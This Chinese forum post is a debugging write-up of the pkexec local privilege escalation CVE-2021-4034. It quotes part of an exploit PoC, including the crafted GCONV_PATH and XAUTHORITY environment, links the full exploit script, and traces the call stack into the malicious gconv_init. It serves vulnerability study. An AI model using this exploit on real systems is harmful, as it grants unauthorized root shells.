-
-
[原创]简单调试一下cve2021-4034
-
发表于: 2022-1-29 22:26 5403
-
1 2 3 | 看一下注册时间 2009 - 01 - 20 ,感慨颇多!在这辞旧迎新之际,随便写点什么给论坛做一点微薄的贡献。新版系统不会用,排版丑陋,请谅解。 前几天看很多人发了关于cve2021 - 4034 贴,有些是直接翻译,有些讲得还是比较透彻。我闲来无事调试了一下,在这里简单做个调试笔记。纯属业余爱好,如有错误敬请谅解。 网上这个脚本https: / / raw.githubusercontent.com / nikaiw / CVE - 2021 - 4034 / master / cve2021 - 4034.py ,在ubuntu18. 04 虚拟机中直接运行就可以得到root权限的shell。以下调试在ubuntu18. 04 虚拟机中进行, |
部分poc代码如下:
cmd = b"/usr/bin/pkexec"
argv = []
envp = [
b"gconv",
b"PATH=GCONV_PATH=.",
b"LC_MESSAGES=en_US.UTF-8",
b"XAUTHORITY=../gconv",
b""]
cargv = (c_char_p (len(argv) + 1))(argv, None)
cenv = (c_char_p (len(envp) + 1))(envp, None)
libc.execve(cmd, cargv, cenv)
这个cve2021-4034.py脚本生成了一个pwn.so文件,拖到ida里面可以看到gconv_init()函数会开一个shell。
看了很多文章没人告诉我从/usr/bin/pkexec到这个gconv_init()的执行路径。只好自己动手调试一把,在虚拟机中执行python脚本,虚拟机外ida附加pwn.so,可以断在gconv_init()。
查看一下函数调用栈:
这样调用过程就知道了:
000055EB7DC471C4 pkexec_new main+704
00007FF80CB57F20 libglib-2.0.so.0.5600.4 g_slice_alloc+680
000055EB7DC483B9 pkexec_new _start+289
000055EB7DC4834F pkexec_new _start+21F
00007FF80CB4305D libglib-2.0.so.0.5600.4 g_printerr+15D
00007FF80CB40101 libglib-2.0.so.0.5600.4 g_mem_profile+211
00007FF80CB1BAAD libglib-2.0.so.0.5600.4 g_convert_with_fallback+2FD
00007FF80CB1B854 libglib-2.0.so.0.5600.4 g_convert_with_fallback+A4
00007FF80CB1B52F libglib-2.0.so.0.5600.4 g_convert+3F
00007FF80CB1B136 libglib-2.0.so.0.5600.4 g_iconv_open+146
00007FF80CB1B023 libglib-2.0.so.0.5600.4 g_iconv_open+33
00007FF80CB1AB39 libglib-2.0.so.0.5600.4 g_compute_checksum_for_bytes+A9
00007FF80C0D9FD7 libc-2.27.so iconv_open+37
00007FF80C0DA0CE libc-2.27.so iconv_open+12E
00007FF80C0DA1BE libc-2.27.so iconv_open+21E
00007FF80C1933F3 libc-2.27.so wcsftime+1833
00007FF80C14F1CC libc-2.27.so libc_malloc+8C
00007FF80C0DA6C6 libc-2.27.so gconv_open+E6
00007FF80C0DBC66 libc-2.27.so __gconv_find_transform+1A6
00007FF80C0DB6E8 libc-2.27.so find_derivation+928
00007FF80C0DB15B libc-2.27.so find_derivation+39B
......................此处省略几十行
00007FF80C0DB15B libc-2.27.so find_derivation+39B
00007FF80C0DB109 libc-2.27.so find_derivation+349
00007FF80C0DB4F3 libc-2.27.so find_derivation+733
00007FF80D48C1C8 pwn.so gconv_init+0x4
看一下pkexec_new main+704 (注意704是16进制)是哪里:
相关伪代码是:
这里因为poc脚本里的环境变量值含有'..',所以会执行函数sub_560DD3EB6250,提示环境变量值可疑。
b"XAUTHORITY=../gconv"
为什么执行g_printerr会得到shell,网上文章已经很多了。这个漏洞本质就是改变了系统的GCONV_PATH环境变量,实现gconv-modules配置文件内容可控,通过调用g_printerr,被伪造的GCONV_PATH欺骗最终执行一个恶意的so文件。
一点调试心得和大家分享,水平业余,仅供参考,谢谢!
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!